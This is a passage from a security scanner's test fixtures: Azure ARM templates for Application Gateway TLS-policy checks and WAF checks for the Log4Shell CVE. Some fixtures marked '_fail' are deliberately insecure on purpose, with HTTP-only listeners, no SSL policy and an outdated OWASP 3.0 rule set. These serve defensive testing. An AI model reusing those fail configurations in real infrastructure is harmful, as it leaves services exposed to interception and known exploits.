'appGatewayFrontendPort')]" }, "Protocol": "Https", "SslCertificate": { "Id": "[resourceId('Microsoft.Network/applicationGateways/sslCertificates',variables('applicationGatewayName'), 'appGatewaySslCert')]" } } } ], "requestRoutingRules": [ { "Name": "rule1", "properties": { "RuleType": "Basic", "httpListener": { "Id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners',variables('applicationGatewayName'), 'appGatewayHttpListener')]" }, "backendAddressPool": { "Id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools',variables('applicationGatewayName'), 'appGatewayBackendPool')]" }, "backendHttpSettings": { "Id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection',variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]" } } } ], "sslPolicy": { "policyType": "Custom", "minProtocolVersion": "TLSv1_2", "cipherSuites": [ "TLS_AES_128_GCM_SHA256", "TLS_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256" ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/without_sslPolicy_fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "addressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the Virtual Network" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/28", "metadata": { "description": "Subnet prefix" } }, "skuName": { "type": "string", "allowedValues": [ "Standard_Small", "Standard_Medium", "Standard_Large" ], "defaultValue": "Standard_Medium", "metadata": { "description": "Sku Name" } }, "capacity": { "type": "int", "minValue": 1, "maxValue": 10, "defaultValue": 2, "metadata": { "description": "Number of instances" } }, "backendIpAddressDefault": { "type": "string", "metadata": { "description": "IP Address of Default Backend Server" } }, "backendIpAddressForPathRule1": { "type": "string", "metadata": { "description": "IP Address of Backend Server for Path Rule 1 match" } }, "backendIpAddressForPathRule2": { "type": "string", "metadata": { "description": "IP Address of Backend Server for Path Rule 2 match" } }, "pathMatch1": { "type": "string", "metadata": { "description": "Path match string for Path Rule 1" } }, "pathMatch2": { "type": "string", "metadata": { "description": "Path match string for Path Rule 2" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "location for all resources." } } }, "variables": { "applicationGatewayName": "applicationGateway1", "publicIPAddressName": "publicIp1", "virtualNetworkName": "virtualNetwork1", "subnetName": "appGatewaySubnet", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]", "publicIPRef": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "resources": [ { "apiVersion": "2020-08-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2020-08-01", "type": "Microsoft.Network/virtualNetworks", "name": "[variables('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('addressPrefix')]" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] } }, { "apiVersion": "2017-06-01", "name": "without_sslPolicy_fail", "type": "Microsoft.Network/applicationGateways", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]" ], "properties": { "sku": { "name": "[parameters('skuName')]", "tier": "Standard", "capacity": "[parameters('capacity')]" }, "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[variables('subnetRef')]" } } } ], "frontendIPConfigurations": [ { "name": "appGatewayFrontendPublicIP", "properties": { "PublicIPAddress": { "id": "[variables('publicIPRef')]" } } } ], "frontendPorts": [ { "name": "appGatewayFrontendPort80", "properties": { "Port": 80 } } ], "backendAddressPools": [ { "name": "appGatewayBackendPoolDefault", "properties": { "BackendAddresses":[ { "IpAddress": "[parameters('backendIpAddressDefault')]" } ] } }, { "name": "appGatewayBackendPool1", "properties": { "BackendAddresses": [ { "IpAddress": "[parameters('backendIpAddressForPathRule1')]" } ] } }, { "name": "appGatewayBackendPool2", "properties": { "BackendAddresses": [ { "IpAddress": "[parameters('backendIpAddressForPathRule2')]" } ] } } ], "backendHttpSettingsCollection": [ { "name": "appGatewayBackendHttpSettings", "properties": { "Port": 80, "Protocol": "Http", "CookieBasedAffinity": "Disabled" } } ], "httpListeners": [ { "name": "appGatewayHttpListener", "properties": { "FrontendIPConfiguration": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations',variables('applicationGatewayName'), 'appGatewayFrontendPublicIP')]" }, "FrontendPort": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts',variables('applicationGatewayName'), 'appGatewayFrontendPort80')]" }, "Protocol": "Http" } } ], "urlPathMaps": [ { "name": "urlPathMap1", "properties": { "defaultBackendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools',variables('applicationGatewayName'), 'appGatewayBackendPoolDefault')]" }, "defaultBackendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection',variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]" }, "pathRules": [ { "name": "pathRule1", "properties": { "paths": [ "[parameters('pathMatch1')]" ], "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools',variables('applicationGatewayName'), 'appGatewayBackendPool1')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection',variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]" } } }, { "name": "pathRule2", "properties": { "paths": [ "[parameters('pathMatch2')]" ], "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools',variables('applicationGatewayName'), 'appGatewayBackendPool2')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection',variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]" } } } ] } } ], "requestRoutingRules": [ { "Name": "rule1", "properties": { "RuleType": "PathBasedRouting", "httpListener": { "id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners',variables('applicationGatewayName'), 'appGatewayHttpListener')]" }, "urlPathMap": { "id": "[resourceId('Microsoft.Network/applicationGateways/urlPathMaps',variables('applicationGatewayName'), 'urlPathMap1')]" } } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/empty_disabled_rules_pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.15.31.15270", "templateHash": "7253194970749033988" } }, "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "Admin username for the backend servers" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for the admin account on the backend servers" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "vmSize": { "type": "string", "defaultValue": "Standard_B2ms", "metadata": { "description": "Size of the virtual machine." } } }, "variables": { "virtualMachines_myVM_name": "myVM", "virtualNetworks_myVNet_name": "myVNet", "myNic_name": "net-int", "ipconfig_name": "ipconfig", "publicIPAddress_name": "public_ip", "nsg_name": "vm-nsg", "applicationGateways_myAppGateway_name": "myAppGateway", "vnet_prefix": "10.0.0.0/16", "ag_subnet_prefix": "10.0.0.0/24", "backend_subnet_prefix": "10.0.1.0/24", "AppGW_AppFW_Pol_name": "WafPol01" }, "resources": [ { "type": "Microsoft.Network/applicationGateways", "apiVersion": "2021-08-01", "name": "[variables('applicationGateways_myAppGateway_name')]", "location": "[parameters('location')]", "properties": { "sku": { "name": "WAF_v2", "tier": "WAF_v2", "capacity": 2 }, "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]" } } } ], "frontendIPConfigurations": [ { "name": "appGwPublicFrontendIp", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]" } } } ], "frontendPorts": [ { "name": "port_80", "properties": { "port": 80 } } ], "backendAddressPools": [ { "name": "myBackendPool", "properties": {} } ], "backendHttpSettingsCollection": [ { "name": "myHTTPSetting", "properties": { "port": 80, "protocol": "Http", "cookieBasedAffinity": "Disabled", "pickHostNameFromBackendAddress": false, "requestTimeout": 20 } } ], "httpListeners": [ { "name": "myListener", "properties": { "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" }, "frontendIPConfiguration": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]" }, "frontendPort": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]" }, "protocol": "Http", "requireServerNameIndication": false } } ], "requestRoutingRules": [ { "name": "myRoutingRule", "properties": { "ruleType": "Basic", "priority": 10, "httpListener": { "id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]" }, "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]" } } } ], "enableHttp2": false, "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "publicIPAddress" ] }, { "type": "Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies", "apiVersion": "2021-08-01", "name": "empty_disabled_rules_pass", "location": "[parameters('location')]", "properties": { "customRules": [ { "name": "CustRule01", "priority": 100, "ruleType": "MatchRule", "action": "Block", "matchConditions": [ { "matchVariables": [ { "variableName": "RemoteAddr" } ], "operator": "IPMatch", "negationConditon": true, "matchValues": [ "10.10.10.0/24" ] } ] } ], "policySettings": { "requestBodyCheck": true, "maxRequestBodySizeInKb": 128, "fileUploadLimitInMb": 100, "state": "Enabled", "mode": "Prevention" }, "managedRules": { "managedRuleSets": [ { "ruleGroupOverrides": [ { "ruleGroupName": "REQUEST-944-APPLICATION-ATTACK-JAVA" } ], "ruleSetType": "OWASP", "ruleSetVersion": "3.1" } ] } } }, { "copy": { "name": "myNic", "count": "[length(range(0, 2))]" }, "type": "Microsoft.Network/networkInterfaces", "apiVersion": "2021-08-01", "name": "[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]" }, "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]" }, "primary": true, "privateIPAddressVersion": "IPv4", "applicationGatewayBackendAddressPools": [ { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" } ] } } ], "enableAcceleratedNetworking": false, "enableIPForwarding": false, "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "nsg", "publicIPAddress" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/owasp_3_0_fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.15.31.15270", "templateHash": "7253194970749033988" } }, "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "Admin username for the backend servers" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for the admin account on the backend servers" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "vmSize": { "type": "string", "defaultValue": "Standard_B2ms", "metadata": { "description": "Size of the virtual machine." } } }, "variables": { "virtualMachines_myVM_name": "myVM", "virtualNetworks_myVNet_name": "myVNet", "myNic_name": "net-int", "ipconfig_name": "ipconfig", "publicIPAddress_name": "public_ip", "nsg_name": "vm-nsg", "applicationGateways_myAppGateway_name": "myAppGateway", "vnet_prefix": "10.0.0.0/16", "ag_subnet_prefix": "10.0.0.0/24", "backend_subnet_prefix": "10.0.1.0/24", "AppGW_AppFW_Pol_name": "WafPol01" }, "resources": [ { "type": "Microsoft.Network/applicationGateways", "apiVersion": "2021-08-01", "name": "[variables('applicationGateways_myAppGateway_name')]", "location": "[parameters('location')]", "properties": { "sku": { "name": "WAF_v2", "tier": "WAF_v2", "capacity": 2 }, "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]" } } } ], "frontendIPConfigurations": [ { "name": "appGwPublicFrontendIp", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]" } } } ], "frontendPorts": [ { "name": "port_80", "properties": { "port": 80 } } ], "backendAddressPools": [ { "name": "myBackendPool", "properties": {} } ], "backendHttpSettingsCollection": [ { "name": "myHTTPSetting", "properties": { "port": 80, "protocol": "Http", "cookieBasedAffinity": "Disabled", "pickHostNameFromBackendAddress": false, "requestTimeout": 20 } } ], "httpListeners": [ { "name": "myListener", "properties": { "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" }, "frontendIPConfiguration": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]" }, "frontendPort": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]" }, "protocol": "Http", "requireServerNameIndication": false } } ], "requestRoutingRules": [ { "name": "myRoutingRule", "properties": { "ruleType": "Basic", "priority": 10, "httpListener": { "id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]" }, "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]" } } } ], "enableHttp2": false, "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "publicIPAddress" ] }, { "type": "Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies", "apiVersion": "2021-08-01", "name": "owasp_3_0_fail", "location": "[parameters('location')]", "properties": { "customRules": [ { "name": "CustRule01", "priority": 100, "ruleType": "MatchRule", "action": "Block", "matchConditions": [ { "matchVariables": [ { "variableName": "RemoteAddr" } ], "operator": "IPMatch", "negationConditon": true, "matchValues": [ "10.10.10.0/24" ] } ] } ], "policySettings": { "requestBodyCheck": true, "maxRequestBodySizeInKb": 128, "fileUploadLimitInMb": 100, "state": "Enabled", "mode": "Prevention" }, "managedRules": { "managedRuleSets": [ { "ruleSetType": "OWASP", "ruleSetVersion": "3.0" } ] } } }, { "copy": { "name": "myNic", "count": "[length(range(0, 2))]" }, "type": "Microsoft.Network/networkInterfaces", "apiVersion": "2021-08-01", "name": "[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]" }, "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]" }, "primary": true, "privateIPAddressVersion": "IPv4", "applicationGatewayBackendAddressPools": [ { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" } ] } } ], "enableAcceleratedNetworking": false, "enableIPForwarding": false, "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "nsg", "publicIPAddress" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/owasp_3_1_default_pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.15.31.15270", "templateHash": "7253194970749033988" } }, "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "Admin username for the backend servers" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for the admin account on the backend servers" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "vmSize": { "type": "string", "defaultValue": "Standard_B2ms", "metadata": { "description": "Size of the virtual machine." } } }, "variables": { "virtualMachines_myVM_name": "myVM", "virtualNetworks_myVNet_name": "myVNet", "myNic_name": "net-int", "ipconfig_name": "ipconfig", "publicIPAddress_name": "public_ip", "nsg_name": "vm-nsg", "applicationGateways_myAppGateway_name": "myAppGateway", "vnet_prefix": "10.0.0.0/16", "ag_subnet_prefix": "10.0.0.0/24", "backend_subnet_prefix": "10.0.1.0/24", "AppGW_AppFW_Pol_name": "WafPol01" }, "resources": [ { "type": "Microsoft.Network/applicationGateways", "apiVersion": "2021-08-01", "name": "[variables('applicationGateways_myAppGateway_name')]", "location": "[parameters('location')]", "properties": { "sku": { "name": "WAF_v2", "tier": "WAF_v2", "capacity": 2 }, "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]" } } } ], "frontendIPConfigurations": [ { "name": "appGwPublicFrontendIp", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]" } } } ], "frontendPorts": [ { "name": "port_80", "properties": { "port": 80 } } ], "backendAddressPools": [ { "name": "myBackendPool", "properties": {} } ], "backendHttpSettingsCollection": [ { "name": "myHTTPSetting", "properties": { "port": 80, "protocol": "Http", "cookieBasedAffinity": "Disabled", "pickHostNameFromBackendAddress": false, "requestTimeout": 20 } } ], "httpListeners": [ { "name": "myListener", "properties": { "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" }, "frontendIPConfiguration": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]" }, "frontendPort": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]" }, "protocol": "Http", "requireServerNameIndication": false } } ], "requestRoutingRules": [ { "name": "myRoutingRule", "properties": { "ruleType": "Basic", "priority": 10, "httpListener": { "id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]" }, "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]" } } } ], "enableHttp2": false, "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "publicIPAddress" ] }, { "type": "Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies", "apiVersion": "2021-08-01", "name": "owasp_3_1_default_pass", "location": "[parameters('location')]", "properties": { "customRules": [ { "name": "CustRule01", "priority": 100, "ruleType": "MatchRule", "action": "Block", "matchConditions": [ { "matchVariables": [ { "variableName": "RemoteAddr" } ], "operator": "IPMatch", "negationConditon": true, "matchValues": [ "10.10.10.0/24" ] } ] } ], "policySettings": { "requestBodyCheck": true, "maxRequestBodySizeInKb": 128, "fileUploadLimitInMb": 100, "state": "Enabled", "mode": "Prevention" }, "managedRules": { "managedRuleSets": [ { "ruleSetType": "OWASP", "ruleSetVersion": "3.1" } ] } } }, { "copy": { "name": "myNic", "count": "[length(range(0, 2))]" }, "type": "Microsoft.Network/networkInterfaces", "apiVersion": "2021-08-01", "name": "[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]" }, "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]" }, "primary": true, "privateIPAddressVersion": "IPv4", "applicationGatewayBackendAddressPools": [ { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" } ] } } ], "enableAcceleratedNetworking": false, "enableIPForwarding": false, "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "nsg", "publicIPAddress" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/owasp_3_1_disabled_different_pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.15.31.15270", "templateHash": "7253194970749033988" } }, "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "Admin username for the backend servers" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for the admin account on the backend servers" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "vmSize": { "type": "string", "defaultValue": "Standard_B2ms", "metadata": { "description": "Size of the virtual machine." } } }, "variables": { "virtualMachines_myVM_name": "myVM", "virtualNetworks_myVNet_name": "myVNet", "myNic_name": "net-int", "ipconfig_name": "ipconfig", "publicIPAddress_name": "public_ip", "nsg_name": "vm-nsg", "applicationGateways_myAppGateway_name": "myAppGateway", "vnet_prefix": "10.0.0.0/16", "ag_subnet_prefix": "10.0.0.0/24", "backend_subnet_prefix": "10.0.1.0/24", "AppGW_AppFW_Pol_name": "WafPol01" }, "resources": [ { "type": "Microsoft.Network/applicationGateways", "apiVersion": "2021-08-01", "name": "[variables('applicationGateways_myAppGateway_name')]", "location": "[parameters('location')]", "properties": { "sku": { "name": "WAF_v2", "tier": "WAF_v2", "capacity": 2 }, "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]" } } } ], "frontendIPConfigurations": [ { "name": "appGwPublicFrontendIp", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]" } } } ], "frontendPorts": [ { "name": "port_80", "properties": { "port": 80 } } ], "backendAddressPools": [ { "name": "myBackendPool", "properties": {} } ], "backendHttpSettingsCollection": [ { "name": "myHTTPSetting", "properties": { "port": 80, "protocol": "Http", "cookieBasedAffinity": "Disabled", "pickHostNameFromBackendAddress": false, "requestTimeout": 20 } } ], "httpListeners": [ { "name": "myListener", "properties": { "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" }, "frontendIPConfiguration": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]" }, "frontendPort": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]" }, "protocol": "Http", "requireServerNameIndication": false } } ], "requestRoutingRules": [ { "name": "myRoutingRule", "properties": { "ruleType": "Basic", "priority": 10, "httpListener": { "id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]" }, "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]" } } } ], "enableHttp2": false, "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "publicIPAddress" ] }, { "type": "Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies", "apiVersion": "2021-08-01", "name": "owasp_3_1_disabled_different_pass", "location": "[parameters('location')]", "properties": { "customRules": [ { "name": "CustRule01", "priority": 100, "ruleType": "MatchRule", "action": "Block", "matchConditions": [ { "matchVariables": [ { "variableName": "RemoteAddr" } ], "operator": "IPMatch", "negationConditon": true, "matchValues": [ "10.10.10.0/24" ] } ] } ], "policySettings": { "requestBodyCheck": true, "maxRequestBodySizeInKb": 128, "fileUploadLimitInMb": 100, "state": "Enabled", "mode": "Prevention" }, "managedRules": { "managedRuleSets": [ { "ruleGroupOverrides": [ { "ruleGroupName": "REQUEST-944-APPLICATION-ATTACK-JAVA", "rules": [ { "ruleId": "944200" } ] } ], "ruleSetType": "OWASP", "ruleSetVersion": "3.1" } ] } } }, { "copy": { "name": "myNic", "count": "[length(range(0, 2))]" }, "type": "Microsoft.Network/networkInterfaces", "apiVersion": "2021-08-01", "name": "[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]" }, "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]" }, "primary": true, "privateIPAddressVersion": "IPv4", 